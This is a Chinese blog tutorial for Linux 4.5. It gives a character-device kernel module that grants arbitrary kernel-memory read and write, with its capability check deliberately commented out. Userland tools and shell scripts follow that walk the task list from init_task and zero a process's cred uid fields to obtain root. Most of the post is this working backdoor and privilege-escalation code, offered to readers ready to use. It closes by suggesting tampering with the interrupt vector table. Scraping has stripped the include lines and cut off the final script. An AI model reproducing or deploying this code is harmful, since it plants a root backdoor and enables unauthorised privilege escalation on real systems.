使用简单字符驱动来做Kernel Hacking

事先声明,本人菜鸟一枚,文中如有不正确之处,敬请大侠指正.

(本文中举例均以4.5版本的x86_64的linux内核为例)

字符驱动算是linux驱动里面比较简单的一种。说白了,就是可以对内存读哇写哇什么的。既然是对内存读写,那为什么还要驱动呢?简单的

int a;
a = 10;
不就是对内存写吗?干嘛还要搞个驱动,这么麻烦?
哈哈,利用驱动对内存的读写优势在于,可以对内核地址空间的内存进行读写。这下就不得了了,整个操作系统(也就是内核)都是在内核空间的,当然包括线程相关的一些内核数据什么的,也统统都栖身于内核空间,从而达到操作系统对数据的保护作用,一般人是碰不到这些数据的。那么当你把内存驱动加载到内核之后,会发生什么呢?哈哈,这些内核空间所保护的数据全部都暴露在你的内核驱动之下啦,因为你的字符驱动也是运行于内核空间的,说白了,你的字符驱动和内核空间的所有数据都是一家人啦,可以随意读写。这对于喜欢玩弄内核数据的人来说,有点小激动 。

闲话扯到这,上代码吧:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("GAO");
MODULE_DESCRIPTION("HELLO");

dev_t dev;
extern struct task_struct init_task;

static inline unsigned long size_inside_page(unsigned long start,
                                             unsigned long size)
{
	unsigned long sz;
	sz = PAGE_SIZE - (start & (PAGE_SIZE - 1));
	return min(sz, size);
}

static loff_t my_chr_dev_seek(struct file *file, loff_t offset, int orig)
{
	loff_t ret;

	mutex_lock(&file_inode(file)->i_mutex);
	switch (orig) {
	case SEEK_CUR:
		offset += file->f_pos;
	case SEEK_SET:
		/* to avoid userland mistaking f_pos=-9 as -EBADF=-9 */
		if (IS_ERR_VALUE((unsigned long long)offset)) {
			ret = -EOVERFLOW;
			break;
		}
		file->f_pos = offset;
		ret = file->f_pos;
		force_successful_syscall_return();
		break;
	default:
		ret = -EINVAL;
	}
	mutex_unlock(&file_inode(file)->i_mutex);
	return ret;
}

static ssize_t do_write_kmem(unsigned long p, const char __user *buf,
				size_t count, loff_t *ppos)
{
	ssize_t written, sz;
	unsigned long copied;

	written = 0;

	while (count > 0) {
		char *ptr;

		sz = size_inside_page(p, count);

		/*
		 * On ia64 if a page has been mapped somewhere as uncached, then
		 * it must also be accessed uncached by the kernel or data
		 * corruption may occur.
		 */
		ptr = xlate_dev_kmem_ptr((char *)p);

		copied = copy_from_user(ptr, buf, sz);
		if (copied) {
			written += sz - copied;
			if (written)
				break;
			return -EFAULT;
		}
		buf += sz;
		p += sz;
		count -= sz;
		written += sz;
	}

	*ppos += written;
	return written;
}
static ssize_t my_chr_dev_write(struct file *file, const char __user *buf,
			  size_t count, loff_t *ppos)
{
	unsigned long p = *ppos;
	ssize_t wrote = 0;
	ssize_t virtr = 0;
	char *kbuf; 
	int err = 0;

/*	if (!capable(CAP_COMPROMISE_KERNEL))
		return -EPERM;
		*/

	if (p < (unsigned long) high_memory) {
		unsigned long to_write = min_t(unsigned long, count,
					       (unsigned long)high_memory - p);
		wrote = do_write_kmem(p, buf, to_write, ppos);
		if (wrote != to_write)
			return wrote;
		p += wrote;
		buf += wrote;
		count -= wrote;
	}

	if (count > 0) {
		kbuf = (char *)__get_free_page(GFP_KERNEL);
		if (!kbuf)
			return wrote ? wrote : -ENOMEM;
		while (count > 0) {
			unsigned long sz = size_inside_page(p, count);
			unsigned long n;

		/*	if (!is_vmalloc_or_module_addr((void *)p)) {
				err = -ENXIO;
				break;
			} */
			n = copy_from_user(kbuf, buf, sz);
			if (n) {
				err = -EFAULT;
				break;
			}
			memcpy((char *)p, kbuf, sz);
		/*	vwrite(kbuf, (char *)p, sz); */
			count -= sz;
			buf += sz;
			virtr += sz;
			p += sz;
		}
		free_page((unsigned long)kbuf);
	}

	*ppos = p;
	return virtr + wrote ? : err;
}
static ssize_t my_chr_dev_read(struct file *file, char __user *buf,
			 size_t count, loff_t *ppos)
{
	unsigned long p = *ppos;
	ssize_t low_count, read, sz;
	char *kbuf;
	int err = 0;

	read = 0;
	if (p < (unsigned long) high_memory) {
		low_count = count;
		if (count > (unsigned long)high_memory - p)
			low_count = (unsigned long)high_memory - p;

		while (low_count > 0) {
			sz = size_inside_page(p, low_count);

			/*
			 * On ia64 if a page has been mapped somewhere as
			 * uncached, then it must also be accessed uncached
			 * by the kernel or data corruption may occur
			 */
			kbuf = xlate_dev_kmem_ptr((char *)p);

			if (copy_to_user(buf, kbuf, sz))
				return -EFAULT;
			buf += sz;
			p += sz;
			read += sz;
			low_count -= sz;
			count -= sz;
		}
	}

	if (count > 0) {
		kbuf = (char *)__get_free_page(GFP_KERNEL);
		if (!kbuf)
			return -ENOMEM;
		while (count > 0) {
			sz = size_inside_page(p, count);
			memcpy(kbuf, (char *)p, sz);
		/*	sz = vread(kbuf, (char *)p, sz);
			if (!sz)
				break;
		*/
			if (copy_to_user(buf, kbuf, sz)) {
				err = -EFAULT;
				break;
			}
			count -= sz;
			buf += sz;
			read += sz;
			p += sz;
		}
		free_page((unsigned long)kbuf);
	}
	*ppos = p;
	return read ? read : err;
}

static int my_chr_dev_open(struct inode *inode, struct file *filp)
{
	filp->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

static const struct file_operations my_chr_dev_fops =  {
	.llseek 	= my_chr_dev_seek,
	.read		= my_chr_dev_read,
	.write		= my_chr_dev_write,
	.open		= my_chr_dev_open,
	.owner		= THIS_MODULE,
};

struct cdev my_chrdev;
static int my_chrdev_init(void)
{
	int ret;

	ret = alloc_chrdev_region(&dev, 0, 1, "my_chr_dev");
	if (ret != 0) {
		printk(KERN_ALERT "error allocating device number\n");
		return ret;
	}

	cdev_init(&my_chrdev, &my_chr_dev_fops);
	my_chrdev.owner = THIS_MODULE;

	ret = cdev_add(&my_chrdev, dev, 1);
	if (ret < 0) {
		printk(KERN_ALERT "adding charactor device failed\n");
		unregister_chrdev_region(dev, 1);
		return ret;
	}

	printk(KERN_ALERT "hello, I'm coming\n");
	printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task));
	printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks));
	printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid));
	printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred));
	return 0;
}

static void my_chrdev_exit(void)
{
	unregister_chrdev_region(dev, 1);
	cdev_del(&my_chrdev);
	printk(KERN_ALERT "goodbye, dear world\n");
}



module_init(my_chrdev_init);
module_exit(my_chrdev_exit);
不好意思,注释不多,但应该也不难读懂
前面说了半天字符驱动有多么好玩,现在来点实际的吧,举个例子。既然可以对内核空间的任何内存地址进行读写,那么试着改变一下进程的权限如何?也就是让当前进程拥有root用户权限 。每个进程的相关数据结构都由一个 struct task_struct 结构体维护(在 include/linux/sched.h中定义,linux源码可在lxr上去翻,关于lxr,问度娘。。。)。在这个结构体中,我们对其中三个成员变量比较感兴趣:
struct list_head tasks;
const struct cred __rcu *real_cred;
pid_t pid;
其中 const struct cred __rcu *real_cred 就是指向当前进程相关权限的数据结构的指针。pid就是进程id,tasks是个双向链表头,linux内核就是靠这个把所有的进程的 task_struct 结构链起来,也就是说,只要找到某一个进程的 task_struct 结构的地址,通过这个双向链表就可以遍历所有进程的task_struct结构了。现在我们需要做的就是遍历所有进程的task_struct结构,取出进程id,看看是不是我们感兴趣的那个进程,如果是的话,将 real_cred 指针指向的结构体里面对应的权限改成 root 权限(其实就是把uid改成root的uid,root的uid其实就是0),就一切大功告成啦,哈哈。等等,刚才说要遍历所有进程,得先知道某一个进程的task_struct结构体的地址,这茫茫人海,怎么找啊 。幸好linux提供了一个 叫做 init_task 的task_struct 结构体。好像就是0号进程的task_struct结构体吧,反正这个结构体一开机就已经在内核空间存在了的。那就找下这个 init_task 变量的位置吧。以前利用
grep "\" /proc/kallsyms
命令就可以把它的地址找到,不过最近内核里不知做了什么,看源码 init_task 明明被导出了,但我的 /proc/kallsyms 里面死活就是没有它!这就是为什么我在上面的字符驱动里面有这样的语句了:
extern struct task_struct init_task;
...
printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task));
 然后再使用 dmsg 看看结果。。。方法有点土,但还行,能工作 。其他的语句里面: 
   
printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks));
printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid));
printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred));
是为了看看我们感兴趣的这三个成员变量在 task_struct 结构体里面的地址相对偏移量。当然了,如果你不嫌麻烦,也可以对着源码数,再考虑上内存对齐的问题,也是可以数出来相对偏移量的,真的可以的 。 该说的都说完了,贴几个代码吧,方便懒人,哈哈:
read_kernel_data.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 

union Data
{
	u_int8_t data_8;
	u_int16_t data_16;
	u_int32_t data_32;
	u_int64_t data_64;
};

int main(int argc, char* argv[])
{
	int fd;
	ssize_t len, ret;
	off_t off;
	union Data data;
	void *buf;
	FILE *fp;
	
	if (argc != 3 && argc != 4) {
		fprintf(stderr, 
			"usage: read_kernel_data   [out_file]\n");
		return -1;
	}

	/* open char driver */
	fd = open("/dev/my_chr_dev0", O_RDONLY);
	if (fd == -1) {
		perror("open");
		return -1;
	}

	/* parse parameters */
	len = (ssize_t) strtol(argv[2], NULL, 0);
	off = (off_t) strtoul(argv[1], NULL, 0);
	if (argc == 3)
		buf = (void *)&data;
	else 
		buf = malloc(len);
	if (buf == NULL) {
		perror("malloc");
		return -1;
	}

	/* read kernel data according to given parameters */
	if (lseek(fd, off, SEEK_SET) == -1) {
		perror("lseek");
		close(fd);
		return -1;
	}
	while (len !=0 && (ret = read(fd, buf, len)) != 0) {
		if (ret == -1) {
			if (errno == EINTR)
				continue;
			perror("read");
			return -1;
		}
		len -= ret;
		buf += ret;
	}

	len = (ssize_t) strtol(argv[2], NULL, 0);
	/* write data to file */
	buf -= len;
	if (argc == 4) {
		fp = fopen(argv[3], "wb");
		if (!fp) {
			perror("open");
			return -1;
		}
		fwrite(buf, len, 1, fp);
		fclose(fp);
		printf("data has been writen in file: %s\n", argv[3]);
		return 0;
	}

	/* write data to stdout */
	switch (len) {
	case 1:
		printf("result@0x%lx: %hhd\t0x%02hhx\n", 
				off, data.data_8, data.data_8);
		break;
	case 2:
		printf("result@0x%lx: %hd\t0x%04hx\n", 
				off, data.data_16, data.data_16);
		break;
	case 4:
		printf("result@0x%lx: %d\t0x%08x\n", 
				off, data.data_32, data.data_32); 
		break;
	case 8:
		printf("result@0x%lx: %ld\t0x%016lx\n", 
				off, data.data_64, data.data_64);
		break;
	default:
		fprintf(stderr, "invalide length!\n");
	}
	close(fd);
	return 0;
}

write_kernel_data.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 

union Data
{
	u_int8_t data_8;
	u_int16_t data_16;
	u_int32_t data_32;
	u_int64_t data_64;
};

int main(int argc, char* argv[])
{
	int fd;
	ssize_t len;
	off_t off;
	unsigned long tmp;
	union Data data;
	
	if (argc != 4) {
		fprintf(stderr, "usage: write_kernel_mem   \n");
		return -1;
	}

	fd = open("/dev/my_chr_dev0", O_WRONLY);
	if (fd == -1) {
		perror("open");
		return -1;
	}

	len = (ssize_t) strtol(argv[2], NULL, 0);
	off = (off_t) strtoul(argv[1], NULL, 0);
	tmp = strtoul(argv[3], NULL, 0);

	switch (len) {
	case 1:
		data.data_8 = (u_int8_t)tmp;
		break;
	case 2:
		data.data_16 = (u_int16_t)tmp;
		break;
	case 4:
		data.data_32 = (u_int32_t)tmp;
		break;
	case 8:
		data.data_64 = (u_int64_t)tmp;
		break;
	default:
		fprintf(stderr, "invalide length!\n");
	}

	if (lseek(fd, off, SEEK_SET) == -1) {
		perror("lseek");
		close(fd);
		return -1;
	}

	if (-1 == write(fd, (void*)&data, len)) {
		perror("write");
		close(fd);
		return -1;
	}

	close(fd);
	return 0;
}

locate_process.sh (用来找到当前进程的 task_struct 结构体地址)
#!/bin/sh

if [ $# -ne 1 ]
then
	echo "usage: locate_process "
	exit 0
fi

pid=$1
#init_task=`grep "\" /proc/kallsyms | cut -f1 -d" "`
init_task="0xffffffff81811500"
#echo "init_task address is $init_task"

current_pid=0
list_head=$((0x398 + $init_task))
list_head=`printf 0x%lx $list_head`
init_list_head=$list_head

until [ "$pid" -eq "$current_pid" ]
do
	pid_in_task=$((0x100 + $list_head))
	pid_in_task=`printf 0x%lx $pid_in_task`
	current_pid=`read_kernel_data ${pid_in_task} 4 | awk '{print $2}'`
	list_head=`read_kernel_data $list_head 8 | awk '{print $3}'`
	if [ "${list_head}" = "${init_list_head}" ]
	then
		echo "no process found"
		exit -1
	fi
done

descriptor=$(($pid_in_task - 0x498))
descriptor=`printf 0x%lx $descriptor`
echo "process descriptor address is $descriptor"

终极武器:This_is_a_magical_script_that_can_give_me_root_privilege.sh (名字又长又帅 )
#!/bin/sh

pid=$$
proc_addr=`~/tmp/locate_process $pid | awk '{print $5}'`
cred_pointer=$(($proc_addr + 0x638))
cred_pointer=`printf 0x%lx $cred_pointer`
cred_addr=`read_kernel_data $cred_pointer 8 | awk '{print $3}'`
uid_pointer=$(($cred_addr + 4))
uid_pointer=`printf 0x%lx $uid_pointer`
write_kernel_data $uid_pointer 8 0
uid_pointer=$(($cred_addr + 20))
uid_pointer=`printf 0x%lx $uid_pointer`
write_kernel_data $uid_pointer 8 0

cat<

好了,截个图看看效果吧 ^_^:
使用简单字符驱动来做Kernel Hacking_第1张图片

题外话,如果有兴趣可以试着改改中断向量表,肯定更刺激

你可能感兴趣的:(使用简单字符驱动来做Kernel Hacking)